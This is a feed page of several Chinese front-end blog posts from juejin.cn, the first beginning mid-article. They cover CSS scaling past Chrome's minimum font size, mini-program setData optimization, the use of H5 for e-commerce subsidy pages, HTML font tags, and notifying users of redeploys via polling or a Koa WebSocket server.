  6. 设置最小字体,使用滑块或输入框调整字体大小到最小字号。


例如:当我们需要设置字体为6px时


打开百度浏览器,当最小字体设置为12px,当设置为12以下时,字体不会变化。


浏览器设置:


image.png


页面显示:
image.png


调整最小字体为6px:


浏览器设置:


image.png


页面显示:
image.png


总结一下:谷歌浏览器页面字体的最小限制,是因为浏览器的默认限制。我们平常开发中不可能每个浏览器进行设置,下面介绍使用css的缩放突破最小字体限制。


2. 使用css的transform属性进行缩放


例如:如果需要设置字体为10px,那么可以先将字体设置为20px,通过缩放一半进行实现。



注意:transfrom属性针对块级元素


缩放后会出现对齐问题,需要设置transform-origin属性



如果未设置transform-origin


image.png


对齐出现问题,设置后:


image.png


完整css设置:


font-size: 20px;
transform: scale(0.5);
display: inline-block;
transform-origin: 0 22px;

3. 总结


在Web开发中,Chrome浏览器设置了一个默认的最小字体限制,当你尝试设置小于某个阈值的字体大小时,字体大小将不会按照预期变化。这种限制主要是为了确保网页内容的可读性和用户的浏览体验。


为了突破这个限制,本文主要演示了两种方法:



  1. 调整Chrome浏览器的默认字体大小限制



    • 通过Chrome的设置界面,用户可以自定义字体大小,并设置其最小值。虽然这种方法简单直接,但它需要用户手动操作,并不适合在生产环境中使用。



  2. 使用CSS的transform属性进行缩放



    • 这种方法不需要用户进行任何操作,它完全依赖于CSS代码。你可以设置一个较大的字体大小,然后使用transform: scale()来缩小它。

    • 需要注意的是,使用transform属性进行缩放时,可能会出现文本对齐问题。为了解决这个问题,我们可以使用transform-origin属性来调整缩放的基准点。




单纯记录下,如果错误,请指正O^O!


作者:一诺滚雪球
来源:juejin.cn/post/7338742634168139788
收起阅读 »

「小程序进阶」setData 优化实践指南

web
一 前言 本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究! 为什么小程序如此受欢迎? 随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安...
继续阅读 »

一 前言



本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究!



为什么小程序如此受欢迎?


随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安装和卸载,更少的占用内存,并且实现了跨端兼容,开发者无需在安卓或者 iOS 端开发两套代码,这无疑降低了开发成本,而且小程序更受到广大前端开发者的青睐,随着 taro 等框架的成熟,开发者可以完全做到像开发 web 应用一样开发小程序。


setData 优化迫在眉睫
随着小程序的发展,各种各样的小程序百花齐放,截止 2022 年末,互联网小程序总数超过 780 万,DAU更是突破了 8 亿。小程序承载了越来越多的功能,这就促使了小程序的模块越来越复杂。这个时候,更新视图就会牵连更多的业务模块的联动更新,如果小程序开发者不做优化而是肆意的使用 setData,就会让应用更卡顿,渲染更耗时,直接影响了用户体验。所以 setData 优化是小程序优化重要的组成部分。


要是彻底弄明白 setData 影响性能的原因,就要从小程序的架构设计说起。


二 双线程架构设计


2.1 小程序双线程架构设计


小程序采用双线程架构,分为逻辑层和渲染层。首先就是 Native 打开一个 WebView 页面,渲染层加载 WXML 和 WXSS 编译后的文件,同时逻辑层用于逻辑处理,比如触发网络请求、setData 更新等等。接下来是请求资源,请求到数据之后,数据先通过逻辑层传递给 Native,然后通过 Native 把数据传递给渲染层 WebView,再进行渲染。


在小程序中,触发的事件首先需要传递给 Native,再传递给逻辑层,逻辑层处理事件,再把处理好的数据传递给 Native,最后 Native 传递给渲染层,由渲染层负责渲染。


WechatIMG47033.png


2.2 小程序更新原理


上面小程序的双线程架构,setData 是驱动小程序视图更新的核心方法,通过上面双线程架构可知,setData 过程中,需要把更新的数据,先传递给 Native 层,然后 Native 层再传递给 webView 层面。


数据这么一来一回需要实现 Native <-> JS 引擎双线程通信,并且数据在通信过程中,需要序列化和反序列化,那么在此期间就会产生大量的通信成本。这就是 setData 消耗性能,性能瓶颈的原因。


明白了 setData 的性能瓶颈之后,来看一下如何优化 setData 呢?


三 setData 优化


对于 setData 的优化,重点是以下三个方面:



  • 控制 setData 的数量(频率)。

  • 控制 setData 的量。

  • 合理运用 setData 。


下面我们对这三个方向分别展开讨论。


3.1 减少 setData 的数


首先第一点就是控制 setData 的次数, 每次 setData 都会触发逻辑层虚拟 DOM 树的遍历和更新,也可能会导致触发一次完整的页面渲染流程,其中就包括了序列化,通信,反序列化的过程。过于频繁(毫秒级)的调用 setData,会造成严重的影响,如下:



  • 逻辑层 JS 线程持续繁忙,无法正常响应用户操作的事件,也无法正常完成页面切换;

  • 视图层 JS 线程持续处于忙碌状态,逻辑层 -> 视图层通信耗时上升,视图层收到消息的延时较高,渲染出现明显延迟;

  • 视图层无法及时响应用户操作,用户滑动页面时感到明显卡顿,操作反馈延迟,用户操作事件无法及时传递到逻辑层,逻辑层亦无法及时将操作处理结果及时传递到视图层。


因此,开发者在调用 setData 是,应该做如下处理:


1.仅在需要进行页面内容更新时调用 setData。


有一些场景下,我们没有必要把所有的数据,都用 setData, 一些数据可以直接通过 this 来保存,setData 只更新有关视图的数据。


比如有一个状态叫做 isFlag, 这个状态只是记录状态,并不是用于渲染。那么没必要用 setData。


不推荐:


this.setData({
isFlag:true
})

推荐:


this.isFlag = true

2.合并 setData:


把多个 setData 可以合并成一个 setData ,避免同一个上下文中,多个 setData。


不推荐:


this.setData({
isFlag:true
})
this.setData({
number:1
})

推荐:


this.setData({
isFlag:true,
number:1
})

3.避免以过高的频率持续调用 setData,例如毫秒级的倒计时,scroll里面使用 setData


不推荐:


// ❌
onScoll(){
this.setData({
xxx:...
})
}
// ❌
setTimeout(()=>{
this.setData({
xxx:...
})
},10)

如果必须在 scroll 事件中使用 setData ,那么推荐使用函数防抖(debounce),或者函数节流(throttle);


onLoad(){
this.onScroll = debounce(this.onScroll.bind(this),200)
}
onScroll(){}

3.2 减少 setDate 的量


setData 只用来进行渲染相关的数据更新。用 setData 的方式更新渲染无关的字段,会触发额外的渲染流程,或者增加传输的数据量,影响渲染耗时。


1.data 里面仅存放和渲染有关的数据。


this. ({
data1:...
data2:...
})

<view>{{ data1 }}</view>

如上有两个数据 data1 和 data2, 但是只有 data1 视图需要,那么 setData 改变 data2 就是多余的。


2.组件间的通信,可以通过状态管理工具,或者 eventbus


比如有一个数据 a, 想把 a 传递到子组件中,那么通常的方案是 a 作为 props 传递给子组件,如果想要改变 a 的值,那么需要 setData 更新 a 的值。


如果是普通的组件,如上的传递方式是没问题的,但是对于一些复杂的场景,比如传递的数据巨大,这个时候就可以考虑用状态管理工具,或者 eventbus 的方式。


如下就是通过 eventBus 实现的组件通信。


import { BusService } from './eventBus'
Component({
lifetimes:{
attached(){
BusService.on('message',(value)=>{ /* 事件绑定 */
/* 更新数据 */
this.setData({...})
})
},
detached(){
BusService.off('message') /* 解绑事件 */
}
},
})

Component({
methods:{
emitEvent(){
BusService.emit('message','hello,world')
}
}
})

3.控制 setData 数据更新范围。


对于列表或者是大对象的数据结构,如果是列表某一项的数据变化,或者是对象的某一属性发生变化,可以控制 setData 数据更新范围,让更新的数据变得最小。


如下:


handleListChange(index,value){
this.setData({
`sourceList[${index}]`:value
})
}

3.3 合理运用 setData


如上就是通过 setData 的频率和数量大小,来优化 setData 性能,除此之外,还需要一些业务系统性的优化 setData 的手段。


1.数据源分层


对于复杂的业务场景(复杂的列表,或者复杂的模块场景),服务端数据肯定包含了很多信息,这些数据有的是用于渲染的,有的是用于逻辑处理的,还有的是用于处理埋点和广告的,如果把所有的数据都通过 setData 传递,庞大的数据传输可能会阻塞页面的渲染展示。


这个时候,我们可以把数据分层处理,分成用于纯渲染的数据,逻辑数据,埋点数据等。


WechatIMG47034.png


伪代码如下所示:


// 处理服务端返回的数据
handleRequestData(data){
/* 处理业务数据 */
const { renderData,serviceData,reportData } = this.handleBusinessData(data)
/* 只有渲染需要的数据才更新 */
this.setData({
renderData
})
/* 保存逻辑数据,和上报数据 */
this.serviceData = serviceData
this.reportData = reportData
}

2.渲染分片


还有一个场景就是页面确实有很多模块需要渲染,这个时候在所难免要用 setData 更新大量的数据,如果把这些渲染的数据一次性更新完,也会占用一定的时间;针对这个场景就可以使用渲染分片的概念。就是优先渲染第一屏模块,其他模块用 setTimeout 分片渲染,这样可以缓解一次 setData 造成的压力。


Page({
 data:{
   templateList:[],
},
 async onLoad(){
   /* 请求初始化参数 */
   const { moduleList } = await requestData()  
   /* 渲染分组,每五个模版分成一组 */
   const templateList = this.group(moduleList,5)
   this.updateTemplateData(templateList)
},
 /* 将渲染模版进行分组 */
 group(array, subGr0upLength) {
   let index = 0;
   const newArray = [];
   while (index < array.length) {
     newArray.push(array.slice(index, (index += subGr0upLength)));
  }
   return newArray;
},
 /* 更新模版数据 */
 updateTemplateData(array, index = 0) {
   if (Array.isArray(array)) {
     this.setData(
      {
        [`templateList[${index}]`]: array[index],
      },
      () => {
         if (index + 1 < array.length) {
           setTimeout(()=>{
               this.updateTemplateData(array, index + 1);
          },100)
        }
      }
    );
  }
},
})

3.业务场景定制


针对一些特定的业务场景,需要制定符合当前业务场景的技术方案。这个可能要求开发者有一定的架构设计能力。这里就不具体介绍了。


四 总结


本文讲了小程序的 setData 的一些优化方案,希望能给读过文章的读者在小程序 setData 优化方向,提供一个思路。


最好,希望感觉有帮助的朋友能够 点赞 + 收藏,关注我,持续分享前端


参考文献



作者:我不是外星人
来源:juejin.cn/post/7344598656144752703
收起阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?

web
百亿补贴为什么用 H5?H5 未来会如何发展? 23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。 眼看着灵感就要烂在手里,我决定把两篇文章合为一...
继续阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?


23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。


眼看着灵感就要烂在手里,我决定把两篇文章合为一篇,与大家分享。当然,这些分析预测只是个人观点,如果你有不同的意见,欢迎在评论区讨论交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


百亿补贴为什么用 H5


我们首先看一张控制台的图,可以确认,拼多多的「百亿补贴」技术栈是 H5,大概率是 React 写的 H5。


pdd-console.png


不只是拼多多,我特地确认了,京东、淘宝的的「百亿补贴」技术栈也是 H5 (点击它们右上角三个点,拷贝分享链接,然后用浏览器打开)。


pdd-jd-taobao.png


那么,为什么电商巨头会在「百亿补贴」这种重要活动上选择 H5 呢?用 H5 有什么好处呢?


H5 技术已经成熟


第一个原因,也是最基础的原因,就是 H5 技术已经成熟,能够完整地实现功能。具体来说:


浏览器兼容性不断提高


自 2008 年 HTML5 草案发布以来,截止 2014 年,HTML5 已有 18 年历史。18 年间,主流浏览器对 HTML5、CSS3 和 JavaScript 的标准语法兼容性一直持续改进,22 年微软更是亲手盖上了 IE 棺材板。虽然 Safari(iOS 浏览器)的兼容性仍然备受诟病,但总体来说兼容成本已经变得可以接受。


主流框架已经成熟


前端最主流的两大框架 Vue 和 React 已经成熟。它们的成熟体现在多个方面:



  • 从时间的角度看,截止 2024 年,React 已经发布了 11 年,而 Vue 已经发布了 10 年。经过多年的发展,前端开发者已经非常熟悉 React 和 Vue,能熟练地应用它们进行开发。

  • 从语法的角度看,自 React16.8 发布 Hooks,以及 Vue3 发布 Composition API 以来,两大框架语法基本稳定,不再有大的变化。前端开发者可以更加专注于业务逻辑,无需过多担心框架语法的变动。

  • 从未来发展方向看,React 目前致力于推广 React Server Component 1;Vue 则在尝试着无 VDom 的 Vapor 方向,并计划利用 Rust 重写 Vite 2。这表明旧领域不再有大的颠覆,两大框架已经正寻求新的发展领域。


混合开发已经成熟


混合开发是指将原生开发(Android 和 iOS)和 Web 开发结合起来的一种技术。简而言之,它将 H5 嵌入到移动应用内部运行。近些年,业界对混合开发的优势和缺陷已经有清晰的认识,并针对其缺陷进行了相应的优化。具体来说:



  • 混合开发的优势包括开发速度快、一套代码适配 Android 和 iOS,以及实现代码的热更新。这意味着程序员能更快地编写跨平台应用,及时更新应用、修复缺陷;

  • 混合开发的缺陷则是性能较差、加载受限于网络。针对这个缺陷,各大 App、以及云服务商如阿里云 3 和腾讯云 4 都推出了自己的离线包方案。离线包方案可以将网页的静态资源(如 HTML、CSS、JS、图片等)缓存到本地,用户访问 H5 页面时,可以直接读取本地的离线资源,从而提升页面的加载速度。可以说,接入离线包后,H5 不再有致命缺陷。


前端基建工具已经成熟


近些年来,业界最火的技术话题之一,就是用 Rust 替代前端基建,包括:用 Rust 替代 Webpack 的 Rspack;用 Rust 替代 Babel 的 SWC;用 Rust 替代 Eslint 的 OxcLint 等等。


前端开发者对基建工具抱怨,已经从「这工具能不能用」,转变为「这工具好不好用」。这种「甜蜜的烦恼」,只有基建工具成熟后才会出现。


综上所述,浏览器的兼容性提升、主流框架的成熟、混合开发的发展和前端基建工具的完善,使 H5 完全有能力承载「百亿补贴」业务。


H5 开发成本低


前文我们已经了解到,成熟的技术让 H5 可以实现「百亿补贴」的功能。现在我们介绍另一个原因——H5 开发成本低。


「百亿补贴」需要多个 H5


「百亿补贴」的方式,是一个常住的 H5,搭配上多个流动的 H5。(「常住」和「流动」是我借鉴「常住人口」和「流动人口」造的词)



  • 常住 H5 链接保持不变。站外投放的链接基本都是常住 H5 的,站内首页入口链接也是常住 H5 的,这样方便用户二次访问。

  • 流动 H5 链接位于常住 H5 的不同位置,比如头图、侧边栏等。时间不同、用户不同、算法不同,流动 H5 的链接都会不同,流动 H5 可以区分用户,方便分发流量。


    具体来看,拼多多至少有三个流量的分发点,第一个是可点击的头图,第二个是列表上方的活动模块,第三个是右侧浮动的侧边栏,三者可以投放不同的链接。最近就分别投放 3.8 女神节链接、新人链接和品牌链接:



pdd-activity.png


「百亿补贴」需要及时更新


不难想到,每到一个节日、每换一个品牌,「百亿补贴」就需要更新一次。


有时还需要为一些品牌定制化 H5 代码。如果使用其他技术栈,排期跟进通常会比较困难,但是使用 H5 就能够快速迭代并上线。


H5 投放成本低


我们已经「百亿补贴」使用 H5 技术栈的两个原因,现在来看第三个原因——H5 适合投放。


拼多多的崛起过程中,投放到其他 App 的链接功不可没。早期它通过微信等社交平台「砍一刀」的模式,低成本地吸引了大量用户。如今,它通过投放「百亿补贴」策略留住用户。


H5 的独特之处,在于它能够灵活地在多个平台上进行投放,其他技术栈很难有这样的灵活性。即使是今天,抖音、Bilibili 和小红书等其他 App 中,「百亿补贴」的 H5 链接也随处可见。


pdd-advertisement.png


拼多多更是将 H5 这种灵活性发挥到极致,只要你有「百亿补贴」的链接,你甚至可以在微信、飞书、支付宝等地方直接查看「百亿补贴」 H5 页面。


wechat-flybook-alipay.png


综上所述,能开发、能快速开发、且开发完成后能大量投放,是「百亿补贴」青睐 H5 的原因。


H5 未来会如何发展


了解「百亿补贴」选择 H5 的原因后,我们来看看电商巨头对 H5 未来发展的影响。我认为有三个影响:


H5 数量膨胀,定制化要求苛刻


C 端用户黏性相对较低,换一个 App 的成本微不足道。近年 C 端市场增长缓慢,企业重点从获取更多的新客变成留住更多的老客,很难容忍用户丢失。因此其他企业投放活动 H5 时,企业必须也投放活动 H5,电商活动 H5 就变得越来越多。


这个膨胀的趋势不仅仅存在于互联网巨头的 App 中,中小型应用也不例外,甚至像 12306、中国移动、招商银行这种工具性极强的应用也无法幸免。


12306-yidong-zhaoshang.png


随着市场的竞争加剧,定制化要求也变得越来越苛刻,目的是让消费者区分各种活动。用互联网黑话来说,就是「建立用户心智」。在可预见的未来,尽管电商活动 H5 结构基本相同,但是它们的外观将变得千差万别、极具个性。


fluid.png


SSR 比例增加,CSR 占据主流


在各家 H5 数量膨胀、竞争激烈的情况下,一定会有企业为提升 H5 的秒开率接入 SSR,因此 SSR 的比例会增加。


但我认为 CSR 依然会是主流,主要是因为两个原因:



  1. SSR 需要额外的服务器费用,包括服务器的维护、扩容等。这对于中小型公司来说是一个负担。

  2. SSR 对程序员技术水平要求比 CSR 更高。SSR 需要程序员考虑更多的问题,例如内存泄露。使用 CSR 在用户设备上发生内存泄露,影响有限;但是如果在服务器上发生内存泄露,则是会占用公司的服务器内存,增加额外的成本和风险。


因此,收益丰厚、技术雄厚的公司才愿意使用 SSR。


Monorepo 比例会上升,类 Shadcn UI 组件库也许会兴起


如前所述,H5 的数量膨胀,代码复用就会被着重关注。我猜测更多企业会选择 Monorepo 管理方式。所谓 Monorepo,简单来说,就是将原本应该放到多个仓库的代码放入一个仓库,让它们共享相同的版本控制。这样可以降低代码复用成本。


定制化要求苛刻,我猜测社区中类似 Shadcn UI 的 H5 组件库或许会兴起。现有的 H5 组件库样式太单一,即使是 Shadcn UI,也很难满足国内 H5 的定制化需求。然而,Shadcn UI 的基本思路——「把源码下载到项目」,是解决定制化组件难复用的问题的好思路。因此,我认为类似 Shadcn 的 H5 组件库可能会逐渐兴起。


总结


本文介绍了我认为「百亿补贴」会选用 H5 的三大原因:



  • H5 技术已经成熟

  • H5 开发成本低

  • H5 投放成本低


以及电商巨头对 H5 产生的三个影响:



  • 数量膨胀,定制化要求苛刻

  • SSR 比例增加,CSR 占据主流

  • Monorepo 比例增加,类 Shadcn UI 组件库也许会兴起


总而言之,H5 开发会越来越专业,对程序员要求会越来越高。至于这种情况是好是坏,仁者见仁智者见智,欢迎大家在评论区沟通交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


Footnotes




作者:小霖家的混江龙
来源:juejin.cn/post/7344325496983732250
收起阅读 »

HTML常用字体标签:揭秘HTML字体标签,让你的网页“字”得其乐!

在数字世界的构建中,字体不仅仅是文字的外衣,更是情感和风格的传递者。作为网页设计师和前端开发者,掌握HTML中的字体标签,能够让我们创造出更加丰富和吸引人的用户体验。今天,就让我们一起走进HTML字体标签的世界,探索它们如何让网页变得生动有趣。一、认识基本字体...
继续阅读 »

在数字世界的构建中,字体不仅仅是文字的外衣,更是情感和风格的传递者。作为网页设计师和前端开发者,掌握HTML中的字体标签,能够让我们创造出更加丰富和吸引人的用户体验。

今天,就让我们一起走进HTML字体标签的世界,探索它们如何让网页变得生动有趣。

一、认识基本字体标签

语法结构:<标签 属性=“值”> 内容 </标签>

  • 标签通常是成对出现的,分为开始标签(p)和结束标签(/p),结束标签只是在开始标签前加一个斜杠“/”。
  • 标签可以有属性,属性必须有值(align=“center” )。
  • 开始标签与结束标签中包含的内容称之为区域。
  • 标签不区分大小写,p和P是相同的。

1、标题标签< h1> - < h6>

标题标签的默认样式是自动加粗的,字体一级标题最大,六级标题最小,每个标题标签独占一行。标题标签是块元素示例:

   <h1>一级</h1>
   <h2>二级</h2>
   <h3>三级</h3>
   <h4>四级</h4>
   <h5>五级</h5>
 <h6>六级</h6>

Description

2、字体标签<font>

在HTML中,最常用的字体标签非<font>莫属,虽然现代开发中更推荐使用CSS来控制字体样式,但了解它的历史仍然有其必要性。

<font>标签允许我们通过color、size和face属性来改变字体的颜色、大小和类型。

例如,如果我们想要显示红色Arial字体的文字,我们可以这样写:

<font color="red" size="5" face="Arial">这是红色Arial字体的文字</font>

这行代码的意思是:

  • 开始一个字体样式的定义。
  • color=“red” 设置字体颜色为红色。
  • size=“5” 设置字体大小为5。
  • face=“Arial” 设置字体类型为Arial。
  • 这是红色Arial字体的文字 是我们要显示的文字。
  • 结束字体样式的定义。

注意:虽然标签在HTML4.01中是有效的,但在HTML5中已经被废弃,建议使用CSS来进行样式定义。

3、字号大小:<font size="n">

字号大小在网页设计中同样重要,它直接影响着阅读体验。HTML允许我们通过<font size="n">来调整字体的大小,其中“n”可以是1到7的数字。
例如:

<!DOCTYPE html>
<html>
<head>
  <title>Font Size Example</title>
</head>
<body>
  <p><font size="5">This is a paragraph with font size 5.</font></p>
  <p><font size="10">This is a paragraph with font size 10.</font></p>
  <p><font size="15">This is a paragraph with font size 15.</font></p>
</body>
</html>

运行结果:

Description

4、粗体标签

<b>:这个标签用于将文本加粗显示,相当于英文中的bold。它不会改变字体,只是使文本看起来更粗体。

<p><b>这是加粗的文本</b></p>

<strong>:与<b>标签类似,<strong>标签也用于表示加粗的文本。

<p><strong>这是重要的文本</strong></p>

但在HTML5中,<strong>标签被赋予了语义,用来表示重要的文本内容。

5、斜体字标签

<i>:这个标签用于将文本设置为斜体,相当于英文中的italic。

<p><i>这是斜体的文本</i></p>

<em>:与<i>标签类似,<em>标签也用于表示斜体文本。

<p><em>这是强调的文本</em></p>

但在HTML5中,<em>标签被赋予了语义,用来表示强调的文本内容。

6、删除字标签

<del>:这个标签用于表示删除的文本,常用于表示不再准确或已过时的内容。比如原价与现价。

<p>原价:<del>100元</del></p>
<p>现价:80元</p>

运行之后是这样子的:

Description

在上述示例中,原价为100元,但已被删除,因此使用标签将其包围起来。这样,浏览器会显示删除线来表示该文本已被删除。

7、文本格式化标签 < div>  < span>

< div> 标签用来布局,但是一行只能放一个< div> //大盒子,块元素。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div>这是一个div</div>
<div>这是一个div</div>
<div><p>这是一个div</p>
</div>
<p>
<div>云端源想</div>
</p>
</body>
</html>

<div>标签可以看出是一个盒子容器,这里面可以放别的标签。<div>标签是一个块元素。

Description

如上图控制台所示(打开控制台的方式:F12):<div>标签里面可以包含<p>标签,<p>标签里面不可以放<div>标签。

< span> 标签用来布局,一行上可以多个 < span>//小盒子,行元素。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<span>1234</span>
<span>5678</span>
</body>
</html>
  • 用于对文档中的行内元素进行组合。
  • 标签没有固定的格式表现。当对它应用样式时,它才会产生视觉上的变化。如果不对 应用样式,那么 元素中的文本与其他文本不会任何视觉上的差异。
  • 标签提供了一种将文本的一部分或者文档的一部分独立出来的方式。
  • 标签不同于

    标签是一个行内元素(不独占一行)。

8、其它字体标签

  • <mark>:这个标签用于突出显示文本,通常用于表示高亮的部分。
  • <small>:这个标签用于表示小号文本,通常用于表示版权声明或法律条款等次要信息。
  • <ins>:这个标签用于表示插入的文本,常用于表示新增的内容。
  • <sub> 和 <sup>:这两个标签分别用于表示下标和上标文本,常用于数学公式或化学方程式中。

二、总结与建议

尽管上述标签可以直接在HTML中使用,但现代网页设计越来越倾向于使用CSS来控制文本的样式,因为CSS提供了更多灵活性和控制能力。
Description
使用CSS类和样式规则可以更有效地管理网站的整体样式,并且可以更容易地适应不同设备和屏幕尺寸。

因此,如果您正在学习或更新您的网页设计知识,建议学习和使用CSS来控制字体和其他文本样式,关于HTML的这些标签了解一下就可以了。

想要快速入门前端开发吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

总之,字体是网页设计中不可或缺的元素,它们就像是网页的语言,传递着信息和情感。通过HTML字体标签的学习和应用,我们可以让我们的网页“字”得其乐,让每一位访问者都能享受到更加美妙的网络体验。不断探索和实践,让我们的网页在字体的世界里绽放光彩吧!

收起阅读 »

前端重新部署如何通知用户

web
1. 场景前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。2. 解决方案每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者et...
继续阅读 »

1. 场景

前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。

2. 解决方案

  1. 每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者etag不同,轮询调用,判断是否更新
  2. 前端使用websocket长连接,具体是每次构建,打包后通知后端,更新后通过websocket通知前端

轮询调用可以改成在前置路由守卫中调用,无需控制时间,用户有操作才去调用判断。

3. 具体实现

3.1 轮询方式

参考小满的实现稍微修改下:

class Monitor {
private oldScript: string[] = []

private newScript: string[] = []

private oldEtag: string | null = null

private newEtag: string | null = null

dispatch: Record() => void)[]> = {}

private stop = false

constructor() {
this.init()
}

async init() {
console.log('初始化')
const html: string = await this.getHtml()
this.oldScript = this.parserScript(html)
this.oldEtag = await this.getEtag()
}
// 获取html
async getHtml() {
const html = await fetch('/').then((res) => res.text())
return html
}
// 获取etag是否变化
async getEtag() {
const res = await fetch('/')
return res.headers.get('etag')
}
// 解析script标签
parserScript(html: string) {
const reg = /]*)?>(.*?)<\/script\s*>/gi
return html.match(reg) as string[]
}
// 订阅
on(key: 'update', fn: () => void) {
;(this.dispatch[key] || (this.dispatch[key] = [])).push(fn)
return this
}
// 停止
pause() {
this.stop = !this.stop
}

get value() {
return {
oldEtag: this.oldEtag,
newEtag: this.newEtag,
oldScript: this.oldScript,
newScript: this.newScript,
}
}
// 两层对比有任一个变化即可
compare() {
if (this.stop) return
const oldLen = this.oldScript.length
const newLen = Array.from(
new Set(this.oldScript.concat(this.newScript))
).length
if (this.oldEtag !== this.newEtag || newLen !== oldLen) {
this.dispatch.update.forEach((fn) => {
fn()
})
}
}
// 检查更新
async check() {
const newHtml = await this.getHtml()
this.newScript = this.parserScript(newHtml)
this.newEtag = await this.getEtag()
this.compare()
}
}

export const monitor = new Monitor()

// 路由前置守卫中调用
import { monitor } from './monitor'

monitor.on('update', () => {
console.log('更新数据', monitor.value)
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {
monitor.pause()
},
})
})

router.beforeEach((to, from, next) => {
monitor.check()
})

3.2 websocket方式

既然后端不好沟通,那就自己实现一个完整版。

具体流程如下:

image.png

3.2.1 代码实现

服务端使用koa实现:

// 引入依赖 koa koa-router koa-websocket short-uuid koa2-cors
const Koa = require('koa')
const Router = require('koa-router')
const websockify = require('koa-websocket')
const short = require('short-uuid')
const cors = require('koa2-cors')

const app = new Koa()
// 使用koa2-cors中间件解决跨域
app.use(cors())

const router = new Router()

// 使用 koa-websocket 将应用程序升级为 WebSocket 应用程序
const appWebSocket = websockify(app)

// 存储所有连接的客户端进行去重处理
const clients = new Set()

// 处理 WebSocket 连接
appWebSocket.ws.use((ctx, next) => {
// 存储新连接的客户端
clients.add(ctx.websocket)
// 处理连接关闭事件
ctx.websocket.on('close', () => {
clients.delete(ctx.websocket)
})
ctx.websocket.on('message', (data) => {
ctx.websocket.send(666)//JSON.stringify(data)
})
ctx.websocket.on('error', (err) => {
clients.delete(ctx.websocket)
})

return next(ctx)
})

// 处理外部通知页面更新的接口
router.get('/api/webhook1', (ctx) => {
// 向所有连接的客户端发送消息,使用uuid确保不重复
clients.forEach((client) => {
client.send(short.generate())
})
ctx.body = 'Message pushed successfully!'
})

// 将路由注册到应用程序
appWebSocket.use(router.routes()).use(router.allowedMethods())

// 启动服务器
appWebSocket.listen(3000, () => {
console.log('Server started on port 3000')
})

前端页面代码:

websocket使用vueuse封装的,保持个心跳。

import { useWebSocket } from '@vueuse/core'

const { open, data } = useWebSocket('ws://hzsunrise.top/ws', {
heartbeat: {
message: 'ping',
interval: 5000,
pongTimeout: 10000,
},
immediate: true, // 自动连接
autoReconnect: {
retries: 6,
delay: 3000,
},
})


watch(data, (val) => {
if (val.length !== '3HkcPQUEdTpV6z735wxTum'.length) return
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {},
})
})

// 建立连接
onMounted(() => {
open()
})
// 断开链接
onUnmounted(() => {
close()
})

3.2.2 发布部署

后端部署:

考虑服务器上没有安装node环境,直接使用docker进行部署,使用pm2运行node程序。

  1. 写一个DockerFile,发布镜像
// Dockerfile:

# 使用
Node.js 作为基础镜像
FROM node:14-alpine

# 设置工作目录

WORKDIR /app

# 复制 package.
json 和 package-lock.json 到容器中
COPY package.json ./

# 安装项目依赖

RUN npm install
RUN npm install -g pm2

# 复制所有源代码到容器中

COPY . .

# 暴露端口号

EXPOSE 3000

# 启动应用程序

CMD ["pm2-runtime","app.js"]

本地进行打包镜像发送到docker hub,使用docker build -t f5l5y5/websocket-server-image:v0.0.1 .命令生成镜像文件,使用docker push f5l5y5/websocket-server-image:v0.0.1 推送到自己的远程仓库

  1. 服务器拉取镜像,运行

拉取镜像:docker pull f5l5y5/websocket-server-image:v0.0.1

运行镜像: docker run -d -p 3000:3000 --name websocket-server f5l5y5/websocket-server-image:v0.0.1

可进入容器内部查看:docker exec -it sh # 使用 sh 进入容器

查看容器运行情况:

image.png

进入容器内部查看程序运行情况,pm2常用命令

image.png

此时访问/api/webhook1会找到项目的对应路由下,需要配置下nginx代理转发

  1. 配置nginx接口转发
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 80;
server_name hzsunrise.top;
client_max_body_size 50M;

location / {
root /usr/local/openresty/nginx/html/xxx-admin;
try_files $uri $uri/ /index.html;
}
// 将触发的更新代理到容器的3000
location /api/webhook1 {
proxy_pass http://localhost:3000/api/webhook1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
// websocket 配置
location /ws {
# 反向代理到容器中的WebSocket接口
proxy_pass http://localhost:3000;
# 支持WebSocket协议
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
}
}

3.2.3 测试

url请求api/webhook即可

image.png

4. 总结

主要实践下两种方案:

